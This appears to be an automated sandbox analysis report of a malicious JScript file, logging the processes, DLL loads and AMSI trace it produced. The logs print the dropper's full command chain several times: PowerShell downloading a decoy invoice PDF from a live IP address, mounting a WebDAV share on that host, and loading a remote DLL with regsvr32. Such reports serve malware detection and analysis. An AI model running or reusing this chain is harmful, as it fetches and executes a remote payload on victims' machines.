Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1560,i,10704181982839442004,3843594167041106961,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1560,i,10704181982839442004,3843594167041106961,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2757.js.csv");ITextStream.WriteLine(" entry:7570 f:rxvzibnm");ITextStream.WriteLine(" exec:2 f:rxvzibnm");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
